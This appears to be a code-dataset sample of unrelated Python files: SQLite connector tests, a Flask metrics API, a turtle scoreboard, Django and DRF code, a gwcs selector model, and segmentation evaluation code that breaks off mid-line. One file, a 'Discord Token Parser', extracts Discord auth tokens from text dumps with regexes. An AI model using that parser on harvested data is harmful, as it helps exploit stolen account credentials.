import concurrent.futures import sqlite3 import pytest from yesql.drivers.sio import sqlite pytestmark = pytest.mark.asyncio @pytest.fixture(autouse=True) def connection(MockSQLiteConnection): conn = MockSQLiteConnection.return_value yield conn MockSQLiteConnection.reset_mock() sqlite3.connect.reset_mock() @pytest.fixture(scope="module") def connector() -> sqlite.SQLiteConnector: connector = sqlite.SQLiteConnector(database="foo") return connector class TestSQLiteConnector: @staticmethod def test_initialize(connector: sqlite.SQLiteConnector, connection): # Given connector.initialized = False # When connector.initialize() # Then assert connector.initialized assert connection.execute.called @staticmethod def test_initialize_done(connector: sqlite.SQLiteConnector, connection): # Given connector.initialized = True # When connector.initialize() # Then assert not connection.execute.called @staticmethod def test_initialize_concurrent(connector: sqlite.SQLiteConnector, connection): # Given connector.initialized = False # When with concurrent.futures.ThreadPoolExecutor() as pool: futs = ( pool.submit(connector.initialize), pool.submit(connector.initialize), pool.submit(connector.initialize), pool.submit(connector.initialize), pool.submit(connector.initialize), ) concurrent.futures.wait(futs) # Then assert connection.execute.call_count == 1 @staticmethod def test_connection(connector: sqlite.SQLiteConnector, connection): # When with connector.connection(): ... # Then assert sqlite3.connect.called assert connection.rollback.called @staticmethod def test_connection_no_transaction(connector: sqlite.SQLiteConnector, connection): # Given connection.in_transaction = False # When with connector.connection(): ... # Then assert sqlite3.connect.called assert not connection.rollback.called @staticmethod def test_connection_provided( connector: sqlite.SQLiteConnector, connection: sqlite3.Connection ): # When with connector.connection(connection=connection): ... # Then assert not sqlite3.connect.called assert not connection.rollback.called @staticmethod def test_transaction(connector: sqlite.SQLiteConnector, connection): # When with connector.transaction(): ... # Then assert connection.commit.called @staticmethod def test_transaction_rollback(connector: sqlite.SQLiteConnector, connection): # When with connector.transaction(rollback=True): ... # Then assert not connection.commit.called @staticmethod def test_close(connector: sqlite.SQLiteConnector): # When connector.close() # Then assert connector.initialized is False @staticmethod def test_open(connector: sqlite.SQLiteConnector): # Given connector.initialized = True # Then assert connector.open @staticmethod def test_get_explain_command(connector: sqlite.SQLiteConnector): # Given expected = connector.EXPLAIN_PREFIX # When cmd = connector.get_explain_command() # Then assert cmd == expected @staticmethod def test_get_explain_command_analyze(connector: sqlite.SQLiteConnector): # Given expected = connector.EXPLAIN_PREFIX # When cmd = connector.get_explain_command(analyze=True) # Then assert cmd == expected @staticmethod def test_get_explain_command_format(connector: sqlite.SQLiteConnector): # Given expected = connector.EXPLAIN_PREFIX # When cmd = connector.get_explain_command(analyze=True, format="json") # Then assert cmd == expected
nilq/baby-python
python
import psycopg2 from flask import render_template, request, jsonify from giraffe_api import app, db q_metric = "select giraffe.init_metric(%(name)s, %(description)s)" q_metric_value = "insert into giraffe.metric_value" \ "(db_timestamp, cluster, db, metric_id, integer_value, numeric_value) " \ "values(%(db_timestamp)s, %(cluster)s, %(db)s, %(metric_id)s, " \ "%(integer_value)s, %(numeric_value)s)" @app.route('/receive', methods=['POST']) def receive(): data = request.json for (cluster_name, metrics) in data.items(): for metric in metrics: db.execute(q_metric_value, {'db_timestamp': metric['timestamp'], 'cluster': metric['cluster'], 'db': metric['db'], 'metric_id': metric['id'], 'integer_value': metric['value'], 'numeric_value': None}) return 'OK' @app.route('/propose', methods=['POST']) def propose(): # Receives metric list from receiver data = request.json metrics = {} for (metric_name, metric) in data.items(): id = db.get_value(q_metric, {'name': metric_name, 'description': metric['description']}) metrics[metric_name] = id return jsonify({'result': 'ok', 'metrics': metrics}) @app.route("/", methods=['GET']) def index(): return "Everything is OK"
nilq/baby-python
python
from turtle import Turtle class Scoreboard(Turtle): def __init__(self): super().__init__() self.l_score = 0 self.r_score = 0 self.color('white') self.hideturtle() self.penup() self.sety(200) def increase_r_score(self): self.r_score += 1 def increase_l_score(self): self.l_score += 1 def display_score(self): self.clear() self.write(arg=f"{self.l_score} {self.r_score}", align='center', font=("Roboto", 40, 'normal')) def game_over(self): self.goto(0,0) self.write(arg='GAME OVER', align='center', font=("Roboto", 40, 'normal'))
nilq/baby-python
python
import cv2 import os # source: https://stackoverflow.com/a/44659589 def image_resize(image, width = None, height = None, inter = cv2.INTER_AREA): # initialize the dimensions of the image to be resized and # grab the image size dim = None (h, w) = image.shape[:2] # if both the width and height are None, then return the # original image if width is None and height is None: return image # check to see if the width is None if width is None: # calculate the ratio of the height and construct the # dimensions r = height / float(h) dim = (int(w * r), height) # otherwise, the height is None else: # calculate the ratio of the width and construct the # dimensions r = width / float(w) dim = (width, int(h * r)) # resize the image resized = cv2.resize(image, dim, interpolation = inter) # return the resized image return resized class CFEVideoConf(object): # Standard Video Dimensions Sizes STD_DIMENSIONS = { "360p": (480, 360), "480p": (640, 480), "720p": (1280, 720), "1080p": (1920, 1080), "4k": (3840, 2160), } # Video Encoding, might require additional installs # Types of Codes: http://www.fourcc.org/codecs.php VIDEO_TYPE = { 'avi': cv2.VideoWriter_fourcc(*'XVID'), #'mp4': cv2.VideoWriter_fourcc(*'H264'), 'mp4': cv2.VideoWriter_fourcc(*'XVID'), } width = 640 height = 480 dims = (640, 480) capture = None video_type = None def __init__(self, capture, filepath, res="480p", *args, **kwargs): self.capture = capture self.filepath = filepath self.width, self.height = self.get_dims(res=res) self.video_type = self.get_video_type() # Set resolution for the video capture # Function adapted from https://kirr.co/0l6qmh def change_res(self, width, height): self.capture.set(3, width) self.capture.set(4, height) def get_dims(self, res='480p'): width, height = self.STD_DIMENSIONS['480p'] if res in self.STD_DIMENSIONS: width, height = self.STD_DIMENSIONS[res] self.change_res(width, height) self.dims = (width, height) return width, height def get_video_type(self): filename, ext = os.path.splitext(self.filepath) if ext in self.VIDEO_TYPE: return self.VIDEO_TYPE[ext] return self.VIDEO_TYPE['avi']
nilq/baby-python
python
from __future__ import absolute_import from .uploader import GraphiteUploader
nilq/baby-python
python
# -*- coding: utf-8 -*- # Generated by Django 1.9.2 on 2016-02-26 08:15 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('portal', '0006_auto_20160224_1510'), ] operations = [ migrations.AlterField( model_name='authenticateemail', name='portal_user', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='email_user', to=settings.AUTH_USER_MODEL), ), migrations.AlterField( model_name='authenticateemailtask', name='authenticate_email', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='task_email', to='portal.AuthenticateEmail'), ), ]
nilq/baby-python
python
import json from rentomatic.serializers import storageroom_serializer as srs from rentomatic.domain.storageroom import StorageRoom def test_serialize_domain_storageroom(): room = StorageRoom( 'f853578c-fc0f-4e65-81b8-566c5dffa35a', size=200, price=10, longitude='-0.09998975', latitude='51.75436293') expected_json = """ { "code": "f853578c-fc0f-4e65-81b8-566c5dffa35a", "size": 200, "price": 10, "longitude": -0.09998975, "latitude": 51.75436293 } """ assert json.loads(json.dumps(room, cls=srs.StorageRoomEncoder)) == json.loads(expected_json)
nilq/baby-python
python
from django.shortcuts import get_list_or_404, get_object_or_404 from rest_framework.serializers import ModelSerializer, Serializer from shop.models import Image, Product from rest_framework import fields class ImageSerializer(ModelSerializer): mid_size = fields.ImageField() class Meta: model = Image fields = ['id', 'name', 'variant', 'mid_size'] class ProductSerializer(ModelSerializer): class Meta: model = Product fields = ['id', 'name', 'active'] class ImageAssociationSerializer(Serializer): images = fields.ListField() def save(self, product_id, **kwargs): product = get_object_or_404(Product, id=product_id) images = Image.objects.filter(id__in=self.validated_data['images']) product.images.add(*images) class RenamProductsValidation(Serializer): products = fields.ListField() name = fields.CharField(max_length=100, validators=[]) def save(self): products = get_list_or_404(Product, id__in=self.validated_data['products']) for product in products: product.name = self.validated_data['name'] product.save() return products class ProductUpdateValidation(Serializer): name = fields.CharField() active = fields.BooleanField(default=False) def save(self, **kwargs): if self.instance: for key, value in self.validated_data.items(): setattr(self.instance, key, value) self.instance.save()
nilq/baby-python
python
# Licensed under a 3-clause BSD style license - see LICENSE.rst from __future__ import absolute_import, division, unicode_literals, print_function import copy import numpy as np import warnings from astropy.extern import six from astropy.modeling.core import Model from astropy.modeling.parameters import Parameter from . import region from .util import RegionError def _toindex(value): """ Convert value to an int or an int array. Input coordinates should be turned into integers corresponding to the center of the pixel. They are used to index the mask. Examples -------- >>> _toindex(np.array([-0.5, 0.49999])) array([0, 0]) >>> _toindex(np.array([0.5, 1.49999])) array([1, 1]) >>> _toindex(np.array([1.5, 2.49999])) array([2, 2]) """ indx = np.empty(value.shape, dtype=np.int32) indx = np.floor(value + 0.5, out=indx) return indx class SelectorMask(Model): """ A mask model to be used with the `~gwcs.selector.RegionsSelector` transform. For an IFU observation, the values of the mask correspond to the region (slice) label. Parameters ---------- mask : ndarray An array of integers or strings where the values correspond to a transform label in `~gwcs.selector.RegionsSelector` model. If a transform is not defined the value shoul dbe set to 0 or " ". """ inputs = ('x', 'y') outputs = ('z') linear = False fittable = False def __init__(self, mask): if mask.dtype.type is not np.unicode_: self._mask = np.asanyarray(mask, dtype=np.int) else: self._mask = mask if mask.dtype.type is np.string_: self._no_transform_value = "" else: self._no_transform_value = 0 super(SelectorMask, self).__init__() @property def mask(self): return self._mask @property def no_transform_value(self): return self._no_transform_value def evaluate(self, x, y): indx = _toindex(x) indy = _toindex(y) return self.mask[indx, indy] @classmethod def from_vertices(cls, mask_shape, regions): """ Create a `~gwcs.selector.SelectorMask` from polygon vertices read in from a json file. Parameters ---------- mask_shape : tuple shape of mask array regions: dict {region_label : list_of_polygon_vertices} The keys in this dictionary should match the region labels in `~gwcs.selector.RegionsSelector`. The list of vertices is ordered in such a way that when traversed in a counterclockwise direction, the enclosed area is the polygon. The last vertex must coincide with the first vertex, minimum 4 vertices are needed to define a triangle. Returns ------- mask : `~gwcs.selectorSelectorMask` Mask to be used with `~gwcs.selector.SelectorModel`. Examples -------_ mask = region.create_regions_mask_from_json((300,300), 'regions.json', 'region_schema.json') """ labels = np.array(list(regions.keys())) mask = np.zeros(mask_shape, dtype=labels.dtype) for rid, vert in regions.items(): pol = region.Polygon(rid, vert) mask = pol.scan(mask) return cls(mask) class RegionsSelector(Model): """ A model which maps regions to their corresponding transforms. It evaluates the model matching inputs to the correct region/transform. Parameters ---------- inputs : list of str Names of the inputs. outputs : list of str Names of the outputs. selector : dict Mapping of region labels to transforms. Labels can be of type int or str, transforms are of type `~astropy.modeling.core.Model` mask : `~gwcs.selector.SelectorMask` Mask with region labels. undefined_transform_value : float, np.nan (default) Value to be returned if there's no transform defined for the inputs. """ _param_names = () linear = False fittable = False def __init__(self, inputs, outputs, selector, mask, undefined_transform_value=np.nan): self._inputs = inputs self._outputs = outputs self.mask = mask.copy() self._undefined_transform_value = undefined_transform_value self._selector = copy.deepcopy(selector) if " " in selector.keys() or 0 in selector.keys(): raise ValueError('"0" and " " are not allowed as keys.') super(RegionsSelector, self).__init__(n_models=1) # make sure that keys in mapping match labels in mask labels_mask = self.labels_from_mask(mask.mask) if not np.in1d(labels_mask, list(self._selector.keys()), assume_unique=True).all() or \ not np.in1d(list(self._selector.keys()), labels_mask, assume_unique=True).all(): raise ValueError("Labels don't match regions_mask.") @staticmethod def labels_from_mask(regions_mask): """ Parameters ---------- regions_mask : ndarray An array where regions are indicated by int or str labels. " " and 0 indicate a pixel on the detector which is not within any region. Evaluating the model in these locations returns NaN or ``undefined_transform_value`` if provided. """ labels = np.unique(regions_mask).tolist() try: labels.remove(0) except ValueError: pass try: labels.remove('') except ValueError: pass return labels @staticmethod def get_unique_regions(mask): unique_regions = np.unique(mask).tolist() try: unique_regions.remove(0) unique_regions.remove('') except ValueError: pass try: unique_regions.remove("") except ValueError: pass return unique_regions def set_input(self, rid): """ Sets one of the inputs and returns a transform associated with it. """ def _eval_input(x, y): return self._selector[rid](x, y) return _eval_input def evaluate(self, x, y): """ Parameters ---------- x : float or ndarray Input pixel coordinate. y : float or ndarray Input pixel coordinate. """ # Get the region labels corresponding to these inputs indx = _toindex(x) indy = _toindex(y) rids = self.mask(indx, indy).flatten() # Raise an error if all pixels are outside regions if (rids == self.mask.no_transform_value).all(): raise RegionError("The input positions are not inside any region.") # Create output arrays and set any pixels not withing regions to # "undefined_transform_value" no_trans_ind = (rids == self.mask.no_transform_value).nonzero() outputs = [np.empty(rids.shape) for n in range(self.n_outputs)] for out in outputs: out[no_trans_ind] = self.undefined_transform_value # Compute the transformations x = x.flatten() y = y.flatten() uniq = self.get_unique_regions(rids) for rid in uniq: ind = (rids == rid) result = self._selector[rid](x[ind], y[ind]) for j in range(self.n_outputs): outputs[j][ind] = result[j] return outputs def __call__(self, *inputs, **kwargs): """ Evaluate this model using the given input(s) and the parameter values that were specified when the model was instantiated. """ import itertools parameters = self._param_sets(raw=True) evaluate = self.evaluate inputs, format_info = self.prepare_inputs(*inputs, **kwargs) outputs = evaluate(*itertools.chain(inputs, parameters)) if self.n_outputs == 1: outputs = (outputs,) return self.prepare_outputs(format_info, *outputs, **kwargs) def inverse(self): """ The inverse exists if all transforms have an inverse and the mask has an inverse. """ selector_inverse = copy.deepcopy(self._selector) for tr in selector_inverse: selector_inverse[tr] = selector_inverse[tr].inverse try: mask = self.mask.inverse except NotImplementedError: raise return self.__class__(self.outputs, self.inputs, selector_inverse, mask, self.undefined_transform_value) @property def undefined_transform_value(self): return self._undefined_transform_value @undefined_transform_value.setter def undefined_transform_value(self, value): self._undefined_transform_value = value @property def inputs(self): """ The name(s) of the input variable(s) on which a model is evaluated. """ return self._inputs @property def outputs(self): """The name(s) of the output(s) of the model.""" return self._outputs @property def selector(self): return self._selector
nilq/baby-python
python
import colorama, os, ctypes, re, glob from colorama import Fore from sys import exit def cls(): os.system("cls" if os.name=="nt" else "clear") def fexit(): input(f"\n{Fore.RESET}Press Enter button for exit") exit() os.system("cls") if __name__ == "__main__": os.system("cls") ctypes.windll.kernel32.SetConsoleTitleW("Discord Token Parser by GuFFy_OwO") colorama.init() print(f"{Fore.RESET}[{Fore.CYAN}1{Fore.RESET}] Check one file") print(f"{Fore.RESET}[{Fore.CYAN}2{Fore.RESET}] Check many files") print() checktype = input(f"{Fore.CYAN}>{Fore.RESET} Select An Option{Fore.CYAN}:{Fore.RESET} ") if "1" in checktype: cls() tokenFileName = input(f"{Fore.CYAN}>{Fore.RESET}Enter the name of the file in wich are the unparsed tokens{Fore.CYAN}:{Fore.RESET} ") elif "2" in checktype: cls() tokenDirectoryName = input(f"{Fore.CYAN}>{Fore.RESET}Enter the directory of the files in wich are the unparsed tokens{Fore.CYAN}:{Fore.RESET} ") if not os.path.exists(tokenDirectoryName): print(tokenDirectoryName + " directory not exist.") fexit() else: print("Invalid Option.") fexit() deleteDuplicates = input(f"{Fore.CYAN}>{Fore.RESET}Delete duplicates tokens? [Y/N]{Fore.CYAN}:{Fore.RESET} ") cls() if "2" in checktype: try: os.remove(f"{tokenDirectoryName}\\all_data.tmp") except: None open(f"{tokenDirectoryName}\\all_data.tmp", "a+") print(f"Glue the files...\n") files = glob.glob(f"{tokenDirectoryName}\\*.txt") with open(f"{tokenDirectoryName}\\all_data.tmp", "w", encoding="utf-8") as result: for file_ in files: for line in open( file_, "r", encoding="utf-8"): result.write(line) tokenFileName = f"{tokenDirectoryName}\\all_data.tmp" if not os.path.exists(tokenFileName): print(tokenFileName + " not exist.") fexit() def main(): print(f"Parse tokens...") try: os.remove("Parsed Tokens.txt") except: None open("Parsed Tokens.txt", "a+") tokens = [] for line in [x.strip() for x in open(f"{tokenFileName}", errors="ignore").readlines() if x.strip()]: for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"): for token in re.findall(regex, line): tokens.append(token) if deleteDuplicates.lower() == "y": tokens = list(dict.fromkeys(tokens)) tokens_str = "\n".join(tokens) with open("Parsed Tokens.txt", "a", encoding="utf-8") as f: f.write(tokens_str) found = sum(1 for line in open("Parsed Tokens.txt", "r", encoding="utf-8")) print(f"\nDone. Found {Fore.CYAN}{found}{Fore.RESET} tokens!") try: os.remove(f"{tokenDirectoryName}\\all_data.tmp") except: None fexit() main()
nilq/baby-python
python
# coding: utf-8 """ """ import torch import torch.optim as optim import torch.nn as nn import os import time import copy import numpy as np import torch.nn.functional as F from tensorboardX import SummaryWriter from sklearn.metrics import confusion_matrix from sklearn.metrics import roc_auc_score, f1_score from visual_confuse_matrix import make_confusion_matrix from dataset import genDataset, genExtraForEvalDataset from model import SegClsModule from sklearn.metrics import cohen_kappa_score import argparse import logging import os import sys import torchvision.transforms as transforms import cv2 import numpy as np import math import random import yaml from pathlib import Path from loss import Weighted_Jaccard_loss from utils import dice_coef, probs2one_hot def setup_seed(seed): torch.manual_seed(seed) torch.cuda.manual_seed_all(seed) np.random.seed(seed) random.seed(seed) torch.backends.cudnn.deterministic = True def setup_logger(name, save_dir, distributed_rank, filename="log.txt"): """terminal and log file name: application information save_dir: log dir distributed_rank: only host 0 can generate log filename: log file name """ logger = logging.getLogger(name) logger.setLevel(logging.DEBUG) # don't log results for the non-master process if distributed_rank > 0: return logger ch = logging.StreamHandler(stream=sys.stdout) ch.setLevel(logging.DEBUG) formatter = logging.Formatter("%(asctime)s %(name)s %(levelname)s: %(message)s") ch.setFormatter(formatter) logger.addHandler(ch) if save_dir: fh = logging.FileHandler(os.path.join(save_dir, filename)) fh.setLevel(logging.DEBUG) fh.setFormatter(formatter) logger.addHandler(fh) return logger def set_visible_gpu(gpu_idex): """ to control which gpu is visible for CUDA user set_visible_gpu(1) print(os.environ["CUDA_DEVICE_ORDER"]) print(os.environ["CUDA_VISIBLE_DEVICES"]) """ os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" os.environ["CUDA_VISIBLE_DEVICES"] = "{0}".format(gpu_idex) def get_results(val_labels, val_outs, val_probs, save_cf_png_dir, save_metric_dir): # first for probs AUC_score = roc_auc_score(val_labels, val_probs) F1_score = f1_score(val_labels, val_outs) CM = confusion_matrix(val_labels, val_outs) labels = ['True Neg','False Pos','False Neg','True Pos'] categories = ['0', '1'] make_confusion_matrix(CM, group_names=labels, categories=categories, cmap='Blues',save_dir=save_cf_png_dir) #make_confusion_matrix(CM, figsize=(8,6), cbar=False) TN = CM[0][0] FN = CM[1][0] TP = CM[1][1] FP = CM[0][1] # Sensitivity, hit rate, recall, or true positive rate TPR = TP/(TP+FN) # Specificity or true negative rate TNR = TN/(TN+FP) # Precision or positive predictive value PPV = TP/(TP+FP) # Negative predictive value NPV = TN/(TN+FN) # Fall out or false positive rate FPR = FP/(FP+TN) # False negative rate FNR = FN/(TP+FN) # False discovery rate FDR = FP/(TP+FP) # Overall accuracy ACC = (TP+TN)/(TP+FP+FN+TN) result_str = "Sensitivity=%.3f, Specificity=%.3f, PPV=%.3f, NPV=%.3f, FPR=%.3f, FNR=%.3f, FDR=%.3f, ACC=%.3f, AUC=%.3f, F1_score=%.3f\n" % (TPR, TNR, PPV, NPV, FPR, FNR, FDR, ACC, AUC_score, F1_score) save_dir = save_metric_dir with open(save_dir, "a+") as f: f.writelines([result_str]) return result_str def eval_model(model, dataloaders, log_dir="./log/", logger=None, opt=None): since = time.time() if False:#opt.do_seg: # eval lung segmentation logger.info("-"*8+"eval lung segmentation"+"-"*8) model.eval() all_dices = [] all_dices_au = [] for batch_idx, (inputs, labels) in enumerate(dataloaders["tgt_lung_seg_val"], 0): annotation = dataloaders["tgt_lung_seg_val"].dataset.annotations[batch_idx] img_dir = annotation.strip().split(',')[0] img_name = Path(img_dir).name inputs = inputs.to(device) # adjust labels labels[labels==opt.xray_mask_value_dict["lung"]] = 1 labels = labels[:,-1].to(device) labels = torch.stack([labels == c for c in range(2)], dim=1) with torch.set_grad_enabled(False): if opt.use_aux: _, _, seg_logits, _, seg_logits_au = model(inputs) else: _, _, seg_logits, _, _ = model(inputs) seg_probs = torch.softmax(seg_logits, dim=1) predicted_mask = probs2one_hot(seg_probs.detach()) # change the infection to Lung predicted_mask_lung = predicted_mask[:,:-1] predicted_mask_lung[:,-1] += predicted_mask[:,-1] dices = dice_coef(predicted_mask_lung, labels.detach().type_as(predicted_mask)).cpu().numpy() all_dices.append(dices) # [(B,C)] predicted_mask_lung = predicted_mask_lung.squeeze().cpu().numpy() # 3xwxh mask_inone = (np.zeros_like(predicted_mask_lung[0])+predicted_mask_lung[1]*255).astype(np.uint8) # save dir: save_dir = os.path.join(opt.logs, "tgt_lung_seg_val", "eval") # if not os.path.exists(save_dir): os.makedirs(save_dir) cv2.imwrite(os.path.join(save_dir, img_name), mask_inone) ###################################################au if opt.use_aux: seg_probs_au = torch.softmax(seg_logits_au, dim=1) predicted_mask_au = probs2one_hot(seg_probs_au.detach()) # change the infection to Lung predicted_mask_lung_au = predicted_mask_au[:,:-1] predicted_mask_lung_au[:,-1] += predicted_mask_au[:,-1] dices_au = dice_coef(predicted_mask_lung_au, labels.detach().type_as(predicted_mask_au)).cpu().numpy() all_dices_au.append(dices_au) # [(B,C)] predicted_mask_lung_au = predicted_mask_lung_au.squeeze().cpu().numpy() # 3xwxh mask_inone_au = (np.zeros_like(predicted_mask_lung_au[0])+predicted_mask_lung_au[1]*255).astype(np.uint8) # save dir: save_dir_au = os.path.join(opt.logs, "tgt_lung_seg_val_au", "eval") # if not os.path.exists(save_dir_au): os.makedirs(save_dir_au) cv2.imwrite(os.path.join(save_dir_au, img_name), mask_inone_au) avg_dice = np.mean(np.concatenate(all_dices, 0), 0) # logger.info("tgt_lung_seg_val:[%d/%d],dice0:%.03f,dice1:%.03f,dice:%.03f" % (batch_idx, len(dataloaders['tgt_lung_seg_val'].dataset)//inputs.shape[0], avg_dice[0], avg_dice[1], np.mean(np.concatenate(all_dices, 0)))) if opt.use_aux: avg_dice_au = np.mean(np.concatenate(all_dices_au, 0), 0) # logger.info("tgt_lung_seg_val_au:[%d/%d],dice0:%.03f,dice1:%.03f,dice:%.03f" % (batch_idx, len(dataloaders['tgt_lung_seg_val'].dataset)//inputs.shape[0], avg_dice_au[0], avg_dice_au[1], np.mean(np.concatenate(all_dices_au, 0)))) if True: # eval infection segmentation and cls logger.info("-"*8+"eval infection cls"+"-"*8) model.eval() val_gt = [] val_cls_pred = [] val_cls_probs = [] # for VOC val_seg_pred = [] val_seg_probs = [] # for VOC val_seg_probs_au = [] val_seg_pred_au = [] # for VOC for batch_idx, (inputs, labels) in enumerate(dataloaders["tgt_cls_val"], 0): inputs = inputs.to(device) # adjust label val_gt.append(labels.cpu().data.numpy()) with torch.set_grad_enabled(False): annotation = dataloaders["tgt_cls_val"].dataset.annotations[batch_idx] img_dir = annotation.strip().split(',')[0] img_name = Path(img_dir).name if opt.use_aux: cls_logits, _, seg_logits, _, seg_logits_au = model(inputs) else: cls_logits, _, seg_logits, _, _ = model(inputs) if opt.do_seg: seg_probs = torch.softmax(seg_logits, dim=1) val_seg_probs.append(seg_probs[:,-1:].detach().cpu().view(seg_probs.shape[0], 1, -1).max(-1)[0]) predicted_mask_onehot = probs2one_hot(seg_probs.detach()) # for save predicted_mask = predicted_mask_onehot.squeeze().cpu().numpy() # 3xwxh mask_inone = (np.zeros_like(predicted_mask[0])+predicted_mask[1]*128+predicted_mask[2]*255).astype(np.uint8) # save dir: save_dir = os.path.join(opt.logs, "tgt_cls_val", "eval") # if not os.path.exists(save_dir): os.makedirs(save_dir) cv2.imwrite(os.path.join(save_dir, img_name), mask_inone) # seg2cls preds_cls_seg = (predicted_mask_onehot[:,-1:].sum(-1).sum(-1) > 0).cpu().numpy().astype(np.uint8) val_seg_pred.append(preds_cls_seg) if opt.do_seg and opt.use_aux: seg_probs_au = torch.softmax(seg_logits_au, dim=1) val_seg_probs_au.append(seg_probs_au[:,-1:].detach().cpu().view(seg_probs_au.shape[0], 1, -1).max(-1)[0]) predicted_mask_onehot_au = probs2one_hot(seg_probs_au.detach()) # for save predicted_mask_au = predicted_mask_onehot_au.squeeze().cpu().numpy() # 3xwxh mask_inone_au = (np.zeros_like(predicted_mask_au[0])+predicted_mask_au[1]*128+predicted_mask_au[2]*255).astype(np.uint8) # save dir: save_dir_au = os.path.join(opt.logs, "tgt_cls_val_au", "eval") # if not os.path.exists(save_dir_au): os.makedirs(save_dir_au) cv2.imwrite(os.path.join(save_dir_au, img_name), mask_inone_au) # seg2cls preds_cls_seg_au = (predicted_mask_onehot_au[:,-1:].sum(-1).sum(-1) > 0).cpu().numpy().astype(np.uint8) val_seg_pred_au.append(preds_cls_seg_au) # cls #print(cls_logits) if opt.do_cls: probs_cls = torch.softmax(cls_logits, dim=1) val_cls_probs.append(probs_cls[...,1:].detach().cpu().numpy()) preds_cls = (probs_cls[...,1:] > 0.5).type(torch.long) val_cls_pred.append(preds_cls.cpu().data.numpy()) if not os.path.exists(os.path.join(opt.logs, "cf")): os.makedirs(os.path.join(opt.logs, "cf")) val_gt = np.concatenate(val_gt, axis=0) if opt.do_cls: val_cls_pred = np.concatenate(val_cls_pred, axis=0) val_cls_probs = np.concatenate(val_cls_probs, axis=0) save_cf_png_dir = os.path.join(opt.logs, "cf", "eval_cls_cf.png") save_metric_dir = os.path.join(opt.logs, "eval_metric_cls.txt") result_str = get_results(val_gt, val_cls_pred, val_cls_probs, save_cf_png_dir, save_metric_dir) logger.info("tgt_cls_val:[cls]: %s" % (result_str)) if opt.do_seg: val_seg_pred = np.concatenate(val_seg_pred, axis=0) val_seg_probs = np.concatenate(val_seg_probs, axis=0) # seg2cls save_cf_png_dir = os.path.join(opt.logs, "cf", "eval_seg_cf.png") save_metric_dir = os.path.join(opt.logs, "eval_metric_seg.txt") result_str = get_results(val_gt, val_seg_pred, val_seg_probs, save_cf_png_dir, save_metric_dir) logger.info("tgt_seg_val:[seg2cls]: %s" % (result_str)) if opt.do_seg and opt.use_aux: val_seg_pred_au = np.concatenate(val_seg_pred_au, axis=0) val_seg_probs_au = np.concatenate(val_seg_probs_au, axis=0) # seg2cls save_cf_png_dir_au = os.path.join(opt.logs, "cf", "eval_seg_au_cf.png") save_metric_dir_au = os.path.join(opt.logs, "eval_metric_seg_au.txt") result_str_au = get_results(val_gt, val_seg_pred_au, val_seg_probs_au, save_cf_png_dir_au, save_metric_dir_au) logger.info("tgt_seg_au_val:[seg2cls]: %s" % (result_str_au)) time_elapsed = time.time() - since logger.info("Eval complete in {:.0f}m {:.0f}s".format(time_elapsed // 60, time_elapsed % 60)) def extra_eval_model(model, dataloaders, log_dir="./log/", logger=None, opt=None): since = time.time() if True: # eval infection segmentation and cls logger.info("-"*8+"extra eval infection cls"+"-"*8) model.eval() val_gt = [] val_cls_pred = [] val_cls_probs = [] # for VOC val_seg_pred = [] val_seg_probs = [] # for VOC val_seg_probs_au = [] val_seg_pred_au = [] # for VOC annotations = dataloaders["tgt_cls_extra_val"].dataset.annotations for batch_idx, (inputs, labels) in enumerate(dataloaders["tgt_cls_extra_val"], 0): inputs = inputs.to(device) # adjust label val_gt.append(labels.cpu().data.numpy()) with torch.set_grad_enabled(False): annotation = annotations[batch_idx] img_dir = annotation.strip().split(',')[0] img_name = Path(img_dir).name print(batch_idx, len(annotations)) if opt.use_aux: cls_logits, _, seg_logits, _, seg_logits_au = model(inputs) else: cls_logits, _, seg_logits, _, _ = model(inputs) if opt.do_seg: seg_probs = torch.softmax(seg_logits, dim=1) val_seg_probs.append(seg_probs[:,-1:].detach().cpu().view(seg_probs.shape[0], 1, -1).max(-1)[0]) predicted_mask_onehot = probs2one_hot(seg_probs.detach()) # for save predicted_mask = predicted_mask_onehot.squeeze().cpu().numpy() # 3xwxh mask_inone = (np.zeros_like(predicted_mask[0])+predicted_mask[1]*128+predicted_mask[2]*255).astype(np.uint8) # save dir: save_dir = os.path.join(opt.logs, "tgt_cls_extra_val", "eval") # if not os.path.exists(save_dir): os.makedirs(save_dir) cv2.imwrite(os.path.join(save_dir, img_name), mask_inone) # seg2cls preds_cls_seg = (predicted_mask_onehot[:,-1:].sum(-1).sum(-1) > 0).cpu().numpy().astype(np.uint8) val_seg_pred.append(preds_cls_seg) if opt.do_seg and opt.use_aux: seg_probs_au = torch.softmax(seg_logits_au, dim=1) val_seg_probs_au.append(seg_probs_au[:,-1:].detach().cpu().view(seg_probs_au.shape[0], 1, -1).max(-1)[0]) predicted_mask_onehot_au = probs2one_hot(seg_probs_au.detach()) # for save predicted_mask_au = predicted_mask_onehot_au.squeeze().cpu().numpy() # 3xwxh mask_inone_au = (np.zeros_like(predicted_mask_au[0])+predicted_mask_au[1]*128+predicted_mask_au[2]*255).astype(np.uint8) # save dir: save_dir_au = os.path.join(opt.logs, "tgt_cls_extra_val_au", "eval") # if not os.path.exists(save_dir_au): os.makedirs(save_dir_au) cv2.imwrite(os.path.join(save_dir_au, img_name), mask_inone_au) # seg2cls preds_cls_seg_au = (predicted_mask_onehot_au[:,-1:].sum(-1).sum(-1) > 0).cpu().numpy().astype(np.uint8) val_seg_pred_au.append(preds_cls_seg_au) # cls #print(cls_logits) if opt.do_cls: probs_cls = torch.softmax(cls_logits, dim=1) val_cls_probs.append(probs_cls[...,1:].detach().cpu().numpy()) preds_cls = (probs_cls[...,1:] > 0.5).type(torch.long) val_cls_pred.append(preds_cls.cpu().data.numpy()) if not os.path.exists(os.path.join(opt.logs, "cf")): os.makedirs(os.path.join(opt.logs, "cf")) val_gt = np.concatenate(val_gt, axis=0) if opt.do_cls: val_cls_pred = np.concatenate(val_cls_pred, axis=0) val_cls_probs = np.concatenate(val_cls_probs, axis=0) save_cf_png_dir = os.path.join(opt.logs, "cf", "extra_eval_cls_cf.png") save_metric_dir = os.path.join(opt.logs, "extra_eval_metric_cls.txt") result_str = get_results(val_gt, val_cls_pred, val_cls_probs, save_cf_png_dir, save_metric_dir) logger.info("tgt_cls_extra_val:[cls]: %s" % (result_str)) if opt.do_seg: val_seg_pred = np.concatenate(val_seg_pred, axis=0) val_seg_probs = 